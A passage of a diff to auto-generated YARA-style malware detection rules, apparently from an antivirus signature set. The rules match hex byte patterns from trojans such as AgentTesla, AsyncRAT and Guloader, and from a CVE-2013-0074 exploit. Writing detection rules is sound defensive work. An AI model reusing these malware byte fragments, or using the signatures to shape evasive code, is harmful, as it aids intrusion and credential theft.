78 90 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 } //17096 $a_2f_2 = {6f 7a 65 6e 61 2e 4e 52 4e 21 4d 54 42 00 03 00 2c 03 48 8b d9 48 85 c0 74 90 01 01 48 8d 0d c3 07 10 00 fe 0c 08 80 3c 08 00 7f 90 01 01 48 8b cb e8 90 01 } //13934 - $a_4b_3 = {48 85 c9 90 00 02 00 31 03 48 83 ec 28 48 8b 05 15 a3 0e 00 48 85 c0 74 90 01 01 48 ff c8 48 89 05 06 a3 0e 00 ff 15 90 01 04 48 8b 0d f9 a2 0e 00 48 8d 15 12 e4 0f 00 90 00 00 00 78 90 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 31 33 21 4d 54 42 00 01 00 25 81 01 24 38 36 38 61 36 63 37 36 2d 63 39 30 33 2d 34 61 39 34 2d 39 36 66 64 } //18436 - $a_63_4 = {62 61 37 35 36 39 31 63 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 06 81 01 51 6b 6b 62 61 6c 01 00 0d 81 01 47 72 6f 75 70 34 72 52 75 6e 6e 65 } //24877 + $a_4b_3 = {48 85 c9 90 00 02 00 31 03 48 83 ec 28 48 8b 05 15 a3 0e 00 48 85 c0 74 90 01 01 48 ff c8 48 89 05 06 a3 0e 00 ff 15 90 01 04 48 8b 0d f9 a2 0e 00 48 8d 15 12 e4 0f 00 90 00 00 00 78 90 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6d 61 6c 6c 2e 41 48 42 21 4d 54 42 00 03 00 47 03 8d 85 d4 ff ff ff c6 00 41 c6 40 01 64 c6 40 02 76 c6 40 03 61 c6 40 04 70 c6 40 05 69 c6 40 06 } //18436 + $a_07_4 = {32 c6 40 08 2e c6 40 09 64 c6 40 0a 6c c6 40 0b 6c c6 40 0c 00 58 8b 35 90 01 04 8d 45 e8 50 ff d6 90 00 02 00 18 01 88 1a 88 0e 02 0a 8b 75 08 0f b6 c9 03 f0 8a 0c 39 30 0e 40 3b 45 0c 7c 00 } //-14797 condition: - ((#a_54_0 & 1)*18467+(#a_ba_1 & 1)*17096+(#a_2f_2 & 1)*13934+(#a_4b_3 & 1)*18436+(#a_63_4 & 1)*24877) >=3 + ((#a_54_0 & 1)*18467+(#a_ba_1 & 1)*17096+(#a_2f_2 & 1)*13934+(#a_4b_3 & 1)*18436+(#a_07_4 & 1)*-14797) >=3 } -rule _InfrastructureShared_9772{ +rule _InfrastructureShared_10391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 6f 7a 65 6e 61 2e 4e 52 4e 21 4d 54 42 00 03 00 2c 03 48 8b d9 48 85 c0 74 90 01 01 48 8d 0d c3 07 10 00 fe 0c 08 80 3c 08 00 7f 90 01 01 48 8b cb e8 90 01 04 48 8b 4b 40 48 85 c9 90 00 02 00 31 03 48 83 } //18467 - $a_8b_1 = {15 a3 0e 00 48 85 c0 74 90 01 01 48 ff c8 48 89 05 06 a3 0e 00 ff 15 90 01 04 48 8b 0d f9 a2 0e 00 48 8d 15 12 e4 0f 00 90 00 00 00 78 90 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //10476 + $a_8b_1 = {15 a3 0e 00 48 85 c0 74 90 01 01 48 ff c8 48 89 05 06 a3 0e 00 ff 15 90 01 04 48 8b 0d f9 a2 0e 00 48 8d 15 12 e4 0f 00 90 00 00 00 78 90 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //10476 condition: ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*10476) >=5 } -rule _InfrastructureShared_9773{ +rule _InfrastructureShared_10392{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6d 61 6c 6c 2e 41 48 42 21 4d 54 42 00 03 00 47 03 8d 85 d4 ff ff ff c6 00 41 c6 40 01 64 c6 40 02 76 c6 40 03 61 c6 40 04 70 c6 40 05 69 c6 40 06 33 c6 40 07 32 c6 } //21539 + $a_c6_1 = {09 64 c6 40 0a 6c c6 40 0b 6c c6 40 0c 00 58 8b 35 90 01 04 8d 45 e8 50 ff d6 90 00 02 00 18 01 88 1a 88 0e 02 0a 8b 75 08 0f b6 c9 03 f0 } //2112 + condition: + ((#a_4c_0 & 1)*21539+(#a_c6_1 & 1)*2112) >=5 + +} +rule _InfrastructureShared_10393{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 41 48 46 21 4d 54 42 00 03 00 31 03 44 89 65 e4 48 8b 45 d8 8b 05 90 01 04 8d 48 ff 0f af c8 f6 c1 01 b8 a9 04 c3 d6 41 0f 44 c7 83 3d 90 01 04 0a 41 0f } //21539 + $a_84_1 = {98 4d 0f 90 00 02 00 2f 03 48 83 cf ff 4d 8b e1 49 8b e8 4c 8b ea 4f 8b 94 fe f0 79 0d 00 90 90 4c 8b 1d ?? ?? ?? ?? 4d 33 d3 41 8b cb 83 e1 3f 49 d3 ca 4c 3b d7 0f 90 00 00 00 78 } //-14516 + condition: + ((#a_4c_0 & 1)*21539+(#a_84_1 & 1)*-14516) >=5 + +} +rule _InfrastructureShared_10394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -105452,7 +112277,7 @@ rule _InfrastructureShared_9773{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_9774{ +rule _InfrastructureShared_10395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -105466,7 +112291,7 @@ rule _InfrastructureShared_9774{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*31059+(#a_20_2 & 1)*28530+(#a_31_3 & 1)*11572+(#a_49_4 & 1)*4608) >=5 } -rule _InfrastructureShared_9775{ +rule _InfrastructureShared_10396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -105480,7 +112305,7 @@ rule _InfrastructureShared_9775{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*384+(#a_49_2 & 1)*19770+(#a_69_3 & 1)*24937+(#a_00_4 & 1)*29555) >=5 } -rule _InfrastructureShared_9776{ +rule _InfrastructureShared_10397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -105494,7 +112319,7 @@ rule _InfrastructureShared_9776{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*18804+(#a_73_2 & 1)*29287+(#a_47_3 & 1)*12851+(#a_69_4 & 1)*28257) >=5 } -rule _InfrastructureShared_9777{ +rule _InfrastructureShared_10398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -105508,7 +112333,7 @@ rule _InfrastructureShared_9777{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25956+(#a_00_2 & 1)*29541+(#a_79_3 & 1)*385+(#a_31_4 & 1)*22869) >=5 } -rule _InfrastructureShared_9778{ +rule _InfrastructureShared_10399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -105522,7 +112347,7 @@ rule _InfrastructureShared_9778{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*26978+(#a_70_2 & 1)*29185+(#a_47_3 & 1)*12851+(#a_65_4 & 1)*274) >=5 } -rule _InfrastructureShared_9779{ +rule _InfrastructureShared_10400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -105535,7 +112360,7 @@ rule _InfrastructureShared_9779{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*27765+(#a_67_2 & 1)*24916+(#a_64_3 & 1)*30050) >=5 } -rule _InfrastructureShared_9780{ +rule _InfrastructureShared_10401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -105547,7 +112372,7 @@ rule _InfrastructureShared_9780{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*8289+(#a_4f_3 & 1)*16641) >=6 } -rule _InfrastructureShared_9781{ +rule _InfrastructureShared_10402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -105557,12 +112382,12 @@ rule _InfrastructureShared_9781{ $a_4d_2 = {49 4c 2f 41 76 65 4d 61 72 69 61 2e 4e 45 42 49 21 4d 54 42 00 05 00 2c 01 0a 06 28 4b 00 00 0a 25 26 0b 28 4c 00 00 0a 25 26 07 16 07 8e 69 6f 4d 00 00 0a 25 26 0a 28 4e 00 } //28257 $a_6f_3 = {00 00 0a 25 26 0c } //2560 $a_01_4 = {56 00 6b 00 4e 00 57 00 54 00 6b 00 31 00 57 00 51 00 31 00 68 00 4b 00 53 00 30 00 52 00 48 00 52 00 45 00 5a 00 45 00 52 00 69 00 55 00 3d 00 } //2 VkNWTk1WQ1hKS0RHREZERiU= - $a_90_5 = {00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6c 61 73 73 43 61 6e 4c 6f 61 64 65 72 2e 44 21 64 68 61 00 01 00 0b 01 53 65 72 76 69 63 65 4d 61 69 6e 01 00 0a 01 62 65 4e 6f 74 69 66 69 65 64 01 00 0d 01 67 65 74 46 75 6e 63 73 41 72 72 61 79 01 00 07 01 67 65 74 4e 61 6d 65 01 00 09 01 69 73 55 6e 69 63 6f 64 65 01 00 0b } //0 + $a_90_5 = {00 07 00 07 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 4b 4c 4f 21 4d 54 42 00 03 00 32 03 11 0f 14 fe 03 2c 90 01 01 16 13 11 11 0f 11 07 12 11 6f 90 01 01 00 00 06 16 fe 03 2c 90 01 01 11 11 16 fe 03 2c 90 01 01 17 13 0b de 37 de 09 90 00 02 00 08 01 44 65 62 75 67 67 65 72 02 00 1f 03 13 04 11 04 06 16 17 28 } //0 condition: ((#a_54_0 & 1)*18467+(#a_40_1 & 1)*27502+(#a_4d_2 & 1)*28257+(#a_6f_3 & 1)*2560+(#a_01_4 & 1)*2+(#a_90_5 & 1)*0) >=6 } -rule _InfrastructureShared_9782{ +rule _InfrastructureShared_10403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -105573,22 +112398,50 @@ rule _InfrastructureShared_9782{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*3110) >=7 } -rule _InfrastructureShared_9783{ +rule _InfrastructureShared_10404{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 4b 4c 4f 21 4d 54 42 00 03 00 32 03 11 0f 14 fe 03 2c 90 01 01 16 13 11 11 0f 11 07 12 11 6f 90 01 01 00 00 06 16 fe 03 2c 90 01 01 11 11 16 fe } //21539 + $a_01_1 = {01 17 13 0b de 37 de 09 90 00 02 00 08 01 44 65 62 75 67 67 65 72 02 00 1f 03 13 04 11 04 06 16 17 28 90 01 01 00 00 0a 06 16 91 90 01 02 fe 01 2c 08 17 13 0b dd d0 90 00 00 00 78 90 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6c 61 73 73 43 61 6e 4c 6f 61 64 65 72 2e 44 21 64 68 61 00 01 00 0b 01 53 65 72 76 69 63 65 4d 61 69 6e 01 00 0a 01 62 65 4e 6f 74 69 66 69 65 64 01 00 0d 01 67 65 } //11267 + $a_6e_2 = {73 41 72 72 61 79 01 00 07 01 67 65 74 4e 61 6d 65 01 00 09 01 69 73 55 6e 69 63 6f 64 65 01 00 0b 01 6d 65 73 73 61 67 65 50 72 6f 63 01 00 07 01 73 65 74 49 6e 66 6f 00 00 78 90 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 49 5a 31 21 4d 54 42 00 01 00 0d 81 01 66 6c 6f 6b 73 69 6c 6b 65 72 6e 65 73 } //18036 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*11267+(#a_6e_2 & 1)*18036) >=7 + +} +rule _InfrastructureShared_10405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6c 61 73 73 43 61 6e 4c 6f 61 64 65 72 2e 44 21 64 68 61 00 01 00 0b 01 53 65 72 76 69 63 65 4d 61 69 6e 01 00 0a 01 62 65 4e 6f 74 69 66 69 65 64 01 00 0d 01 67 65 74 46 75 6e 63 73 41 } //16675 - $a_79_1 = {00 07 01 67 65 74 4e 61 6d 65 01 00 09 01 69 73 55 6e 69 63 6f 64 65 01 00 0b 01 6d 65 73 73 61 67 65 50 72 6f 63 01 00 07 01 73 65 74 49 6e 66 6f 00 00 78 90 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 56 21 4d } //29298 - $a_11_3 = {18 6f } //15360 漘 - $a_28_4 = {01 04 28 90 } //400 - $a_08_5 = {6f 90 01 04 } //1025 - $a_04_6 = {6a } //-28632 j + $a_79_1 = {00 07 01 67 65 74 4e 61 6d 65 01 00 09 01 69 73 55 6e 69 63 6f 64 65 01 00 0b 01 6d 65 73 73 61 67 65 50 72 6f 63 01 00 07 01 73 65 74 49 6e 66 6f 00 00 78 90 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 49 5a 31 21 4d 54 42 00 01 00 0d 81 01 } //29298 + $a_6b_2 = {69 6c 6b 65 72 6e 65 73 01 00 07 81 01 67 69 73 66 6d 6c 65 01 00 0b 81 01 77 68 6f 6c 65 73 61 6c 65 6c 79 01 00 0a 81 01 61 66 66 75 67 74 6e 69 6e 67 01 00 0a 81 01 6b 6e 61 70 73 61 63 6b 65 64 01 00 09 81 01 72 6f 74 69 66 65 72 61 6c 01 00 0a 81 01 73 74 69 6e 6b 62 65 72 72 79 00 00 78 90 00 00 0c 00 0c 00 02 00 21 23 48 53 } //27750 + $a_54_3 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 56 21 4d 54 42 00 0a 00 3c 02 11 04 18 6f 90 01 04 28 90 01 04 28 90 01 04 04 08 6f 90 01 04 28 90 01 } //21076 + $a_b7_4 = {90 01 04 28 90 01 04 13 05 07 11 05 6f 90 01 04 26 08 04 6f 90 01 04 17 da fe 01 13 06 90 00 02 00 1c 80 01 48 65 62 72 65 77 4e 75 6d 62 65 72 50 61 72 73 69 6e 67 2e 43 75 73 74 41 74 74 72 00 00 78 90 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 } //27140 + $a_54_5 = {73 6c 61 2e 4f 58 47 55 21 4d 54 42 00 0a 00 4e 02 11 11 11 12 9a 13 13 00 11 13 6f 90 01 04 16 fe 01 13 15 11 15 2c 02 2b 29 11 13 72 90 01 03 70 28 90 01 04 13 16 11 16 2c 02 2b 15 11 13 28 90 01 04 d2 13 14 11 04 11 14 6f 90 01 04 00 00 11 12 17 58 13 12 11 12 11 11 8e 69 32 90 00 02 00 0a 80 01 45 6e 74 72 79 50 6f 69 6e 74 00 00 78 90 00 00 } //28261 + $a_00_6 = {04 00 21 23 48 53 54 52 3a 54 72 6f 6a } //13 condition: - ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*29298+(#a_11_3 & 1)*15360+(#a_28_4 & 1)*400+(#a_08_5 & 1)*1025+(#a_04_6 & 1)*-28632) >=7 + ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*29298+(#a_6b_2 & 1)*27750+(#a_54_3 & 1)*21076+(#a_b7_4 & 1)*27140+(#a_54_5 & 1)*28261+(#a_00_6 & 1)*13) >=7 } -rule _InfrastructureShared_9784{ +rule _InfrastructureShared_10406{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 49 5a 31 21 4d 54 42 00 01 00 0d 81 01 66 6c 6f 6b 73 69 6c 6b 65 72 6e 65 73 01 00 07 81 01 67 69 73 66 6d 6c 65 01 00 0b 81 01 77 68 6f 6c 65 73 61 6c 65 6c 79 01 00 0a 81 01 61 66 66 75 67 74 6e } //18467 + $a_01_1 = {00 0a 81 01 6b 6e 61 70 73 61 63 6b 65 64 01 00 09 81 01 72 6f 74 69 66 65 72 61 6c 01 00 0a 81 01 73 74 69 6e 6b 62 65 72 72 79 00 00 78 90 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 56 21 4d 54 42 00 0a 00 3c 02 11 04 18 6f 90 } //28265 + $a_90_2 = {04 28 90 01 04 04 08 6f 90 01 04 28 90 01 04 6a 61 b7 28 90 01 04 28 90 01 04 13 05 07 11 05 6f 90 01 04 26 08 04 6f 90 } //1025 + $a_da_3 = {01 13 06 90 00 02 00 1c 80 01 48 65 62 72 65 77 4e 75 6d 62 65 72 50 } //1025 + $a_69_4 = {67 2e 43 75 73 74 41 74 74 72 00 00 78 90 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 47 55 21 4d 54 42 00 0a 00 4e 02 11 11 11 12 9a 13 13 00 11 13 6f 90 01 04 16 fe 01 13 15 11 15 2c 02 2b 29 11 13 72 90 01 03 70 28 90 01 04 13 16 11 16 2c 02 2b 15 11 13 28 90 01 04 } //29281 + $a_11_5 = {11 14 6f 90 01 04 00 00 11 12 17 58 13 12 11 12 11 11 8e 69 } //5074 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28265+(#a_90_2 & 1)*1025+(#a_da_3 & 1)*1025+(#a_69_4 & 1)*29281+(#a_11_5 & 1)*5074) >=7 + +} +rule _InfrastructureShared_10407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -105599,7 +112452,7 @@ rule _InfrastructureShared_9784{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1032) >=12 } -rule _InfrastructureShared_9785{ +rule _InfrastructureShared_10408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -105610,7 +112463,7 @@ rule _InfrastructureShared_9785{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28632) >=12 } -rule _InfrastructureShared_9786{ +rule _InfrastructureShared_10409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -105623,7 +112476,7 @@ rule _InfrastructureShared_9786{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-26090+(#a_11_2 & 1)*1025+(#a_65_3 & 1)*25938) >=13 } -rule _InfrastructureShared_9787{ +rule _InfrastructureShared_10410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -105636,7 +112489,7 @@ rule _InfrastructureShared_9787{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*1025+(#a_65_2 & 1)*25938+(#a_d6_3 & 1)*2204) >=13 } -rule _InfrastructureShared_9788{ +rule _InfrastructureShared_10411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -105649,18 +112502,29 @@ rule _InfrastructureShared_9788{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_6f_2 & 1)*16896+(#a_11_3 & 1)*5669) >=13 } -rule _InfrastructureShared_9789{ +rule _InfrastructureShared_10412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 52 21 4d 54 42 00 0a 00 36 02 08 09 9a 13 04 7e 90 01 04 07 06 16 17 8d 90 01 04 25 16 02 11 04 28 90 01 04 28 90 01 04 8c 90 01 04 a2 6f 90 01 04 26 09 17 58 0d 09 08 8e } //18467 - $a_07_1 = {2a 90 00 02 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 02 00 10 80 01 64 71 77 64 71 77 64 77 71 64 71 77 71 77 64 66 00 00 78 90 00 00 10 00 10 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 54 4f 21 4d 54 42 00 0a 00 29 03 0a 8e b7 17 33 1b 06 14 17 8d 90 02 04 0b 07 16 16 8d 90 02 04 a2 07 6f 90 02 04 26 2b 09 06 14 14 6f 90 02 04 26 2a 90 00 02 00 0d 80 01 47 65 74 50 61 72 61 6d 65 74 65 72 73 02 00 06 80 01 49 6e 76 6f 6b 65 02 00 18 80 01 50 61 72 61 6d 65 74 65 72 69 7a 65 64 54 68 72 65 61 64 53 74 61 72 74 00 00 78 90 00 00 10 00 10 } //12905 + $a_07_1 = {2a 90 00 02 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 02 00 10 80 01 64 71 77 64 71 77 64 77 71 64 71 77 71 77 64 66 00 00 78 90 00 00 0f 00 0f 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 41 48 45 21 4d 54 42 00 0a 00 25 01 41 f7 e1 45 0f b6 c0 41 8b c1 c1 ea 03 8d 0c 52 c1 e1 02 2b c1 48 63 c8 0f be 14 39 41 03 d3 44 03 c2 41 81 e0 05 00 3b 01 48 63 d8 44 0f b6 54 1c 30 41 02 fa 40 0f b6 cf 0f b6 44 0c 30 88 44 1c 30 44 88 54 0c 30 44 0f b6 44 1c 30 4d 03 c2 41 0f b6 c0 44 0f b6 44 04 30 45 30 04 33 49 ff c3 49 81 fb 00 00 78 90 00 00 10 00 10 } //12905 condition: ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*12905) >=14 } -rule _InfrastructureShared_9790{ +rule _InfrastructureShared_10413{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 41 48 45 21 4d 54 42 00 0a 00 25 01 41 f7 e1 45 0f b6 c0 41 8b c1 c1 ea 03 8d 0c 52 c1 e1 02 2b c1 48 63 c8 0f be 14 39 41 03 d3 44 03 c2 41 81 e0 05 00 } //21539 + $a_63_1 = {44 0f b6 54 1c 30 41 02 fa 40 0f b6 cf 0f b6 44 0c 30 88 44 1c 30 44 88 54 0c 30 44 0f b6 44 1c 30 4d 03 c2 41 0f b6 c0 44 0f b6 44 04 30 45 30 04 33 49 ff c3 49 81 fb 00 00 78 90 00 00 10 00 10 00 04 00 21 23 41 4c } //315 + condition: + ((#a_4c_0 & 1)*21539+(#a_63_1 & 1)*315) >=15 + +} +rule _InfrastructureShared_10414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -105673,7 +112537,7 @@ rule _InfrastructureShared_9790{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*18177+(#a_2b_2 & 1)*5634+(#a_04_3 & 1)*-28632) >=16 } -rule _InfrastructureShared_9791{ +rule _InfrastructureShared_10415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -105686,7 +112550,7 @@ rule _InfrastructureShared_9791{ ((#a_4c_0 & 1)*21539+(#a_07_1 & 1)*11529+(#a_54_2 & 1)*24397+(#a_65_3 & 1)*24951) >=16 } -rule _InfrastructureShared_9792{ +rule _InfrastructureShared_10416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -105703,7 +112567,7 @@ rule _InfrastructureShared_9792{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*17664+(#a_67_2 & 1)*21505+(#a_00_3 & 1)*19+(#a_6f_4 & 1)*21562+(#a_38_5 & 1)*14388+(#a_65_6 & 1)*30817+(#a_54_7 & 1)*21076) >=17 } -rule _InfrastructureShared_9793{ +rule _InfrastructureShared_10417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 06 00 21 " @@ -105718,7 +112582,7 @@ rule _InfrastructureShared_9793{ ((#a_5f_0 & 1)*16931+(#a_5c_1 & 1)*20054+(#a_6a_2 & 1)*29268+(#a_38_3 & 1)*14419+(#a_61_4 & 1)*23653+(#a_00_5 & 1)*101) >=18 } -rule _InfrastructureShared_9794{ +rule _InfrastructureShared_10418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 06 00 21 " @@ -105732,7 +112596,7 @@ rule _InfrastructureShared_9794{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*29537+(#a_78_2 & 1)*22364+(#a_54_3 & 1)*18467+(#a_90_4 & 1)*3844) >=19 } -rule _InfrastructureShared_9795{ +rule _InfrastructureShared_10419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -105743,7 +112607,7 @@ rule _InfrastructureShared_9795{ ((#a_63_0 & 1)*17699+(#a_00_1 & 1)*114) >=20 } -rule _InfrastructureShared_9796{ +rule _InfrastructureShared_10420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -105754,32 +112618,53 @@ rule _InfrastructureShared_9796{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*3844) >=20 } -rule _InfrastructureShared_9797{ +rule _InfrastructureShared_10421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 04 00 21 " strings : $a_54_0 = {3a 45 78 70 6c 6f 69 74 3a 4d 53 49 4c 2f 43 56 45 2d 32 30 31 33 2d 30 30 37 34 2e 46 00 01 00 22 03 0a 1f 24 6f 90 09 13 00 72 90 01 02 00 70 72 90 01 02 00 70 72 90 01 02 00 70 6f 90 01 02 00 0a 90 00 01 00 0e 03 00 00 01 a2 08 6f 90 01 01 00 00 } //18467 $a_00_2 = {48 } //3072 H - $a_4f_3 = {6a 65 63 74 00 0a 00 18 01 00 53 79 73 74 65 6d 2e 57 69 6e 64 6f 77 73 2e 42 72 6f 77 73 65 72 00 00 00 78 90 00 00 28 00 28 00 04 00 21 23 4f 46 4e 3a 70 61 67 65 61 6e 74 2e 65 78 65 00 0a 00 24 80 01 50 61 67 65 61 6e 74 20 28 50 75 54 54 59 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 61 67 65 6e 74 29 0a 00 1e 80 } //28020 + $a_4f_3 = {6a 65 63 74 00 0a 00 18 01 00 53 79 73 74 65 6d 2e 57 69 6e 64 6f 77 73 2e 42 72 6f 77 73 65 72 00 00 00 78 90 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 50 68 61 76 65 2e 4b 41 42 21 4d 54 42 00 14 00 2e 03 48 01 d0 0f b6 00 48 8b 8d 90 01 02 00 00 48 8b 95 90 01 02 00 00 48 01 ca 32 } //28020 condition: ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*3072+(#a_4f_3 & 1)*28020) >=22 } -rule _InfrastructureShared_9798{ +rule _InfrastructureShared_10422{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 50 68 61 76 65 2e 4b 41 42 21 4d 54 42 00 14 00 2e 03 48 01 d0 0f b6 00 48 8b 